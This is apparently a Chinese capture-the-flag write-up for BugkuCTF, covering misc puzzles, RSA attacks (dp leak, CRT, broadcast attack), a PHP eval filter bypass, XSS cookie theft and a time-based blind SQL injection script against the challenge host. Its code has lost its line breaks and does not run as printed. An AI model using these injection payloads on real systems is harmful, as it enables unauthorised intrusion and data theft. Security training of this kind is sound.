;3%5;3%5;3%5;3%5;; print ;}%5;5%3;2

这个是混淆后的perl代码，直接运行得到secunet

另一个gpg的话可以在kali下直接运行，输入密码secunet即可

成果狗成果狗

图片文件尾有额外数据，是一段base64+一个jpg文件的数据+另一段base64，这里按照先后命名为图片1、图片2、bs1、bs2.

两段base64解完再hex解密，没有什么特征…结合题目描述，把bs1经过base64解码后得到数据放到图片1文件尾部(插入FFD9之前)，接着图片高度改高。

另一段同理。

Crypto

No Ciphertext RSA

给了n、e、dp，可以求出p、q、d

/**
* Lazzaro @ https://lazzzaro.github.io
*/
import gmpy2 as gpe = 65537
n = 20446305236294581881140725938833605520023786992590821920806811572505477606387830733060901955371457846738863889279107367753914707053108524516947943610226964107558978693717655472431318403586269727573489946433389159145602800207787382180423611018458189828931572992863289292613405218278949739073786959411566919119158325510346523951336418479951932209799501108477995314359188860274532542630968951457343647522078553891223764285682602714616115281040492374167771746275218863543545907073818468841626731849010162645256595641473022327747346052186526727216525426337190917106751151745388854749923598231196090790074682287345100965373
dp =  158325084409606165134868956023907667507671677832027168046364315703295407017343206432691817272550256085313093440797443736742051552429653661451417133052016647805226890534559578502154540190596419643135611407218228612201386225040438407799879719366484669372051153511312310009858718254183049095347658106745575535469for x in range(1, e):if(e*dp%x==1):p=(e*dp-1)//x+1if(n%p!=0):continueq=n//pphin=(p-1)*(q-1)d=gp.invert(e, phin)
print(p)
print(q)
print(d)

因为leak_c1=c%p、leak_c2=c%q，可以很容易想到中国剩余定理(打蓝桥杯时的痛苦经历)，这里用到py来的脚本

# -*- coding: UTF-8 -*-
def Get_Mi(m_list, M):  # 获取所有的MiM_list = []for mi in m_list:M_list.append(M // mi)return M_listdef Get_ei_list(M_list, m_list):  # 取所有的Mi的逆元ei_list = []for i in range(len(M_list)):ei_list.append(Get_ei(M_list[i], m_list[i])[0])return ei_listdef Get_ei(a, b):# 计算eiif 0 == b:x = 1;y = 0;q = areturn x, y, qxyq = Get_ei(b, a % b)x = xyq[0];y = xyq[1];q = xyq[2]temp = x;x = y;y = temp - a // b * yreturn x, y, qdef crt(a_list, m_list):# 计算中国剩余定理，返回计算结果M = 1  # M是所有mi的乘积for mi in m_list:M *= miMi_list = Get_Mi(m_list, M)Mi_inverse = Get_ei_list(Mi_list, m_list)x = 0for i in range(len(a_list)):  # 开始计算xx += Mi_list[i] * Mi_inverse[i] * a_list[i]x %= Mreturn xleak_c1 = 116908580792713727509554342060190793142033425411766631165842865699167747112494944492849392371565838125428644563687571660329763478509815200537676368326781342382868082294015200439334832938068779547847851748337854603115134732593759473453640093195977206450633212921689957303431235603192670553553803757864481012599
leak_c2 = 18319344794671185787719339480953236221170603508712466350928025351527616335735433941953520711516118072282425397883638101260674452825151245435529613074796106769481242318321469286177813223159476396555044378245229663195991557031227024085316255781963813911437991309663376270820486723382786632243229800891705679245
p = 176880281220421384276770426697672033095535078075714508749353553548240276323610202856692980610806418687790464096511235044404620241239340834109671075804268777866611345077962413424290036147269400193518437230146620445225908578474569771436035545465911591432888691958522976733082929634591293998871492096106249085747
q = 115594033971571906870674970630915982265473520658575817480573873228902478910162856689799762790434945040173985337386002280961456435302076145225402559274043951375941233922060296662348241974538390649557790352060766898957619823324331799986614029809180092244051635825912380759159031412761681296336889781840027922959a_list = [leak_c1,leak_c2]
m_list = [p,q]
print(crt(a_list, m_list))

然后就是一般rsa的思路，直接解就行

RSSSSSA

看特征很明显是低加密指数广播攻击，关于原理的话可以看翅膀师傅的博客，出题脚本和解题脚本可参考这篇。

where is flag 5

base64解码后转hex得

1b 1f 04 00 0f 12 08 12 1f 1d 00 11 0b 13 14 1f 0b 00 1d 1c 11 1e 1f 01 11 0c 1a 14 14 1f 1b 03 18 08 16 11 1f 1e 12 05 14 1d 19 1f 07 01 0d 10 15

因为每一组的第一位都是0或1

1100010111010111001111101011111010111110111100011
每七位转字符得bugku{c

不过找不到另一段flag了，转变思路，回过头base64解码后直接转二进制

取每一组二进制的后五位，因为这里共有49组二进制，再结合前面转hex时得到一部分flag的过程，很容易想到：竖着选取，7个一组

s = '00011011 00011111 00000100 00000000 00001111 00010010 00001000 00010010 00011111 00011101 00000000 00010001 00001011 00010011 00010100 00011111 00001011 00000000 00011101 00011100 00010001 00011110 00011111 00000001 00010001 00001100 00011010 00010100 00010100 00011111 00011011 00000011 00011000 00001000 00010110 00010001 00011111 00011110 00010010 00000101 00010100 00011101 00011001 00011111 00000111 00000001 00001101 00010000 00010101'
lt = [i[3:] for i in list(s.split())]ind = 0out = [''] * 35
for i in range(5):for j in range(len(lt)):if len(out[ind]) == 7:ind += 1  out[ind] += lt[j][i]      for i in out:print(chr(int(i,2)),end="")

Web

ezbypass

<?php
error_reporting(0);
highlight_file(__FILE__);if (isset($_POST['code'])) {$code = $_POST['code'];if (strlen($code) <= 105){if (is_string($code)) {if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)){eval($code);} else {echo "Hacked!";}} else {echo "You need to pass in a string";}} else {echo "long?";}
}

参考ctfshow的rce大挑战的wp，过滤规则有一点不一样，这里过滤了所有数字，我用的全角数字绕过。姿势很多，自己探索下。

no selection

如题目名，过滤了select、where、.等等，常规语句构造起来还是比较难受的

但是可以换个姿势

还有很多其他姿势，自己探索

留言板

考察的是xss，找个xss平台生成代码，多试几种，刷新完xss平台就可以接收到flag了

还试了时间盲注，不过卡在最后一步了

import requestsurl = "http://114.67.175.224:13385/"result = ''
i = 0while True:i = i + 1j = 32while True:# payload = f'if(ascii(substr((select group_concat(username) from user),{i},1))>{mid},1,sleep(3))--+'# payload = f'if(ascii(substr((select group_concat(password) from user),{i},1))>{mid},1,sleep(3))--+'body = {#'content': f"0'XOR(if(ascii(substr(database(),{i},1))={j},sleep(4),0))XOR'Z"#xss#'content':f"0'XOR(if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={j},sleep(4),0))XOR'Z"#text,user#'content': f"0'XOR(if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user'),{i},1))={j},sleep(4),0))XOR'Z"#Host, se ,Selec _priv, nse t_ riv,Update_priv Delete_p iv,#'content': f"0'XOR(if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='text'),{i},1))={j},sleep(4),0))XOR'Z"#Id,text'content': f"0'XOR(if(ascii(substr((select Id from text limit 0,1),{i},1))={j},,sleep(4),0))XOR'Z"}try:r = requests.post(url,data=body,timeout=2)j += 1except Exception as e:result += chr(j)print(result)break

BugkuCTF 部分题解(随缘更新)相关推荐

PHP版Leetcode题解开始随缘更新
2019独角兽企业重金招聘Python工程师标准>>> PHP版Leetcode题解我叫skys215,是一名bug工程师. 我接触编程的时间比较早,但是因为我数学不好加上比较懒, ...
HDU杭电OJ经典100题2000-2099_Java版详细题解(持续更新)
今年寒假打算用Java把杭电2000-2099全部AC(现在持续更新),如下是题目链接,之后是我的题解,全部做完后我会把所有AC的题解打包上传的题号题名题号题名 2000 ASCII码排序 2 ...
Jarvis OJ PWN题解持续更新~
最近沉(被)迷(迫)学pwn 看我们的志琦大佬我就知道 pwn 玩玩就行但是不认真学不行然后向大佬打听了几个pwn的平台网站打算玩一下这里找到了 Jarvis OJ ...
PAT乙级题解目录——更新ing
顺序分数序号由难到易原题链接我的题解博客相关练习 1 15 1001 害死人不偿命的(3n+1)猜想题解 2 15 1011 A+B和C 题解 3 15 1116 部 ...
第三届全国中医药院校大学生程序设计竞赛（部分题解）更新中~
绿地装饰题目描述湖南中医药大学坐落于中国历史文化名城长沙,是湖南省重点建设本科院校,是全国首批设立国家级重点学科的高校,也是首批招收博士研究生.留学生及港澳台学生的中医药院校.学校现有 2 个校 ...
【JavaScript】DOM笔记（随缘更新ing）
文章目录 JavaScript DOM笔记 1.DOM:文档对象模型 1.1. Node类型 1.1.1.nodeName与nodeValue 2.Document类型 2.1.获取元素 2.1.1. ...
LeetCode每日一题系列随缘更新
##每日一题## 根据前序遍历和中序遍历构造二叉树思路:从性质出发,前序数组的开头就是根节点,然后对应到中序数组,得到左子树和右子树,分别再构造左子树和右子树下标对应: [外链图片转存失败,源站可 ...
AI量化投资开源平台——Qlib（微矿）的学习使用笔记（随缘更新）
零.Qlib的简介可以查看以下链接了解Qlib的功能以及结构框架. 微矿Qlib:业内首个AI量化投资开源平台官方GitHub仓库一.Qlib环境安装安装过程非常艰难,主要参考了以下资料,在此 ...
Unity DOTS Entities1.0.0-pre.15文档翻译（随缘更新中...)
官方文档Entities overview | Entities | 1.0.0-pre.15 (unity3d.com) 一.Entities 总览 Entities包,是Unity"面向 ...

BugkuCTF 部分题解(随缘更新)